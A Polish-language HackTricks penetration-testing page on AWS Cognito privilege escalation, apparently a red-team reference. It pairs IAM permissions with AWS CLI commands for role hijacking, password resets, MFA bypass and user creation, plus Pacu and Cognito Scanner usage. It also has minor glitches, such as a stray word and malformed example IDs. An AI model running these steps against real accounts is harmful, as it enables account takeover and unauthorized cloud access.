AWS - Cognito Privesc

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Cognito

Aby uzyskać więcej informacji na temat Cognito, sprawdź:

pageAWS - Cognito Enum

Zbieranie poświadczeń z Identity Pool

Ponieważ Cognito może przyznawać poświadczenia uprawnień IAM zarówno uwierzytelnionym, jak i nieuwierzytelnionym użytkownikom, jeśli zlokalizujesz Identity Pool ID aplikacji (powinno być na stałe w niej zakodowane), możesz uzyskać nowe poświadczenia i tym samym eskalować uprawnienia (w ramach konta AWS, w którym prawdopodobnie wcześniej nie miałeś żadnych poświadczeń).

Aby uzyskać więcej informacji, sprawdź tę stronę.

Potencjalne skutki: Bezpośrednia eskalacja uprawnień do roli usług przypisanej do nieuwierzytelnionych użytkowników (i prawdopodobnie do roli przypisanej do uwierzytelnionych użytkowników).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Z tym uprawnieniem możesz przyznać dowolną rolę Cognito uwierzytelnionym/nieuwierzytelnionym użytkownikom aplikacji Cognito.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ole

Jeśli aplikacja Cognito nie ma włączonej obsługi nieuwierzytelnionych użytkowników, może być konieczne również posiadanie uprawnienia cognito-identity:UpdateIdentityPool, aby je włączyć.

Potencjalne skutki: Bezpośrednie podniesienie uprawnień do dowolnej roli Cognito.

cognito-identity:update-identity-pool

Atakujący posiadający to uprawnienie mógłby na przykład ustawić pulę użytkowników Cognito pod swoją kontrolą lub dowolny inny dostawca tożsamości, gdzie może się zalogować jako sposób dostępu do tej puli tożsamości Cognito. Następnie, po prostu zalogowanie się na tym dostawcy użytkowników pozwoli mu uzyskać dostęp do skonfigurowanej roli uwierzytelnionej w puli tożsamości.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Możliwe jest również wykorzystanie tego uprawnienia do umożliwienia uwierzytelniania podstawowego:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Potencjalne skutki: Naruszenie skonfigurowanej uwierzytelnionej roli IAM w puli tożsamości.

cognito-idp:AdminAddUserToGroup

To uprawnienie umożliwia dodanie użytkownika Cognito do grupy Cognito, dlatego atakujący może wykorzystać to uprawnienie, aby dodać użytkownika pod swoją kontrolą do innych grup z lepszymi uprawnieniami lub różnymi rolami IAM:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Potencjalne skutki: Podniesienie uprawnień do innych grup Cognito oraz ról IAM przypisanych do grup puli użytkowników.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Atakujący posiadający te uprawnienia mógłby tworzyć/aktualizować grupy z każdą rolą IAM, która może być wykorzystana przez skompromitowanego dostawcę tożsamości Cognito oraz umieścić skompromitowanego użytkownika w grupie, uzyskując dostęp do wszystkich tych ról:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Potencjalne skutki: Podniesienie uprawnień do innych ról IAM Cognito.

cognito-idp:AdminConfirmSignUp

To uprawnienie umożliwia potwierdzenie rejestracji. Domyślnie każdy może zarejestrować się w aplikacjach Cognito, jeśli zostanie to włączone, użytkownik może utworzyć konto z dowolnymi danymi i potwierdzić je przy użyciu tego uprawnienia.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Potencjalne skutki: Pośrednie podniesienie uprawnień do roli IAM puli tożsamości dla uwierzytelnionych użytkowników, jeśli można zarejestrować nowego użytkownika. Pośrednie podniesienie uprawnień do innych funkcjonalności aplikacji, umożliwiające potwierdzenie dowolnego konta.

cognito-idp:AdminCreateUser

To uprawnienie umożliwia atakującemu utworzenie nowego użytkownika w puli użytkowników. Nowy użytkownik jest tworzony jako włączony, ale będzie musiał zmienić swoje hasło.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Potencjalne skutki: Bezpośrednie podniesienie uprawnień do roli IAM puli tożsamości dla uwierzytelnionych użytkowników. Pośrednie podniesienie uprawnień do innych funkcji aplikacji, umożliwiające tworzenie dowolnego użytkownika.

cognito-idp:AdminEnableUser

Te uprawnienia mogą pomóc w bardzo szczególnym przypadku, gdy atakujący znajdzie poświadczenia wyłączonego użytkownika i musi go ponownie włączyć.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Potencjalne skutki: Pośrednie podniesienie uprawnień do roli IAM puli tożsamości dla uwierzytelnionych użytkowników oraz uprawnień użytkownika, jeśli atakujący posiadał poświadczenia dla wyłączonego użytkownika.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

To uprawnienie umożliwia logowanie za pomocą metody ADMIN_USER_PASSWORD_AUTH. Aby uzyskać więcej informacji, przejdź do linku.

cognito-idp:AdminSetUserPassword

To uprawnienie umożliwiłoby atakującemu zmianę hasła dowolnego użytkownika, umożliwiając mu podszywanie się pod dowolnego użytkownika (który nie ma włączonej MFA).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Potencjalne skutki: Bezpośrednie podniesienie uprawnień do potencjalnie dowolnego użytkownika, co umożliwia dostęp do wszystkich grup, do których należy dany użytkownik, oraz dostęp do roli IAM uwierzytelnionej w puli tożsamości.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Atakujący może potencjalnie wykorzystać te uprawnienia, aby ustawić swój własny telefon komórkowy jako SMS MFA dla użytkownika.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Podobnie jak poprzednie uprawnienie, to uprawnienie można wykorzystać do ustawienia preferencji MFA użytkownika w celu obejścia ochrony MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Podobnie jak poprzednie uprawnienie, to uprawnienie można użyć do ustawienia preferencji MFA dla puli użytkowników w celu obejścia ochrony MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Możliwe jest również zaktualizowanie puli użytkowników w celu zmiany polityki MFA. Sprawdź tutaj cli.

Potencjalne skutki: Pośrednie podniesienie uprawnień, które może dotyczyć dowolnego użytkownika, który zna dane uwierzytelniające atakującego. Może to umożliwić obejście ochrony MFA.

cognito-idp:AdminUpdateUserAttributes

Atakujący posiadający te uprawnienia może zmienić adres e-mail, numer telefonu lub inne atrybuty użytkownika znajdującego się pod jego kontrolą, aby uzyskać większe uprawnienia w aplikacji. To pozwala na zmianę adresu e-mail lub numeru telefonu i ustawienie go jako zweryfikowany.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Potencjalne skutki: Potencjalne pośrednie podniesienie uprawnień w aplikacji wykorzystującej Cognito User Pool, które przyznaje uprawnienia na podstawie atrybutów użytkownika.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Atakujący posiadający te uprawnienia mógłby utworzyć nowego klienta User Pool o mniejszych ograniczeniach niż istniejący już klienci puli. Na przykład, nowy klient mógłby umożliwiać dowolny rodzaj uwierzytelniania, nie posiadać żadnego sekretu, wyłączać unieważnianie tokenów, umożliwiać ważność tokenów przez dłuższy okres...

To samo można zrobić, jeśli zmodyfikowany zostanie istniejący klient zamiast tworzenia nowego.

W wierszu poleceń (lub aktualizacji) można zobaczyć wszystkie opcje, sprawdź to!.

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Potencjalne skutki: Potencjalne pośrednie podniesienie uprawnień do użytkownika uwierzytelnionego w puli tożsamości, używanego przez pulę użytkowników, poprzez utworzenie nowego klienta, który łagodzi środki bezpieczeństwa i umożliwia atakującemu zalogowanie się jako użytkownik, którego był w stanie utworzyć.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Atakujący mógłby wykorzystać te uprawnienia do tworzenia użytkowników poprzez przesyłanie pliku CSV z nowymi użytkownikami.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(W przypadku tworzenia nowego zadania importu może być również wymagane uprawnienie iam passrole, nie testowałem tego jeszcze).

Potencjalne skutki: Bezpośrednie podniesienie uprawnień do roli IAM puli tożsamości dla uwierzytelnionych użytkowników. Pośrednie podniesienie uprawnień do innych funkcji aplikacji, umożliwiające tworzenie dowolnego użytkownika.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Atakujący mógłby utworzyć nowego dostawcę tożsamości, aby następnie móc zalogować się za pomocą tego dostawcy.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Potencjalne skutki: Bezpośrednie podniesienie uprawnień do roli IAM puli tożsamości dla uwierzytelnionych użytkowników. Pośrednie podniesienie uprawnień do innych funkcji aplikacji, umożliwiające tworzenie dowolnych użytkowników.

Analiza cognito-sync:*

To jest bardzo częste uprawnienie domyślnie przypisywane rolom puli tożsamości Cognito. Nawet jeśli użycie symbolu wieloznacznego w uprawnieniach zawsze wygląda podejrzanie (szczególnie w przypadku AWS), udzielone uprawnienia nie są zbyt przydatne z perspektywy atakującego.

To uprawnienie umożliwia odczyt informacji o użytkownikach pul tożsamości oraz identyfikatorach tożsamości wewnątrz pul tożsamości (co nie jest poufnymi informacjami). Identyfikatory tożsamości mogą mieć przypisane Zbiory danych, które są informacjami o sesjach (AWS definiuje to jako zapisaną grę). Możliwe, że mogą zawierać one pewne poufne informacje (ale prawdopodobieństwo jest dość niskie). W stronie wyliczania można znaleźć informacje, jak uzyskać dostęp do tych informacji.

Atakujący może również użyć tych uprawnień do zapisania się do strumienia Cognito, który publikuje zmiany w tych zbiorach danych lub wywołania funkcji lambda w przypadku zdarzeń Cognito. Nie widziałem, żeby to było wykorzystywane, i nie oczekiwałbym tutaj poufnych informacji, ale nie jest to niemożliwe.

Automatyczne narzędzia

  • Pacu, framework eksploatacji AWS, teraz zawiera moduły "cognito__enum" i "cognito__attack", które automatyzują wyliczanie wszystkich zasobów Cognito w koncie, wykrywanie słabych konfiguracji, atrybutów użytkowników używanych do kontroli dostępu itp., a także automatyzują tworzenie użytkowników (w tym obsługę MFA) i podnoszenie uprawnień na podstawie modyfikowalnych niestandardowych atrybutów, użytecznych poświadczeń puli tożsamości, ról do przyjęcia w tokenach identyfikacyjnych itp.

Opis funkcji modułów znajduje się w części 2 wpisu na blogu. Instrukcje instalacji znajdują się na głównej stronie Pacu.

Użycie

Przykładowe użycie cognito__attack w celu próby tworzenia użytkownika i wszystkich wektorów podniesienia uprawnień dla określonej puli tożsamości i klienta puli użytkowników:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Przykład użycia cognito__enum do zebrania wszystkich pul użytkowników, klientów pul użytkowników, pul tożsamości, użytkowników itp. widocznych w bieżącym koncie AWS:

cognito__enum

Ten polecenie wyświetli wszystkie dostępne informacje o pulach użytkowników, klientach pul użytkowników, pulach tożsamości, użytkownikach itp. w bieżącym koncie AWS.

Pacu (new:test) > run cognito__enum
  • Cognito Scanner to narzędzie wiersza poleceń napisane w języku Python, które implementuje różne ataki na Cognito, w tym eskalację uprawnień.

Instalacja

$ pip install cognito-scanner

Użycie

$ cognito-scanner --help

Aby uzyskać więcej informacji, sprawdź https://github.com/padok-team/cognito-scanner

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated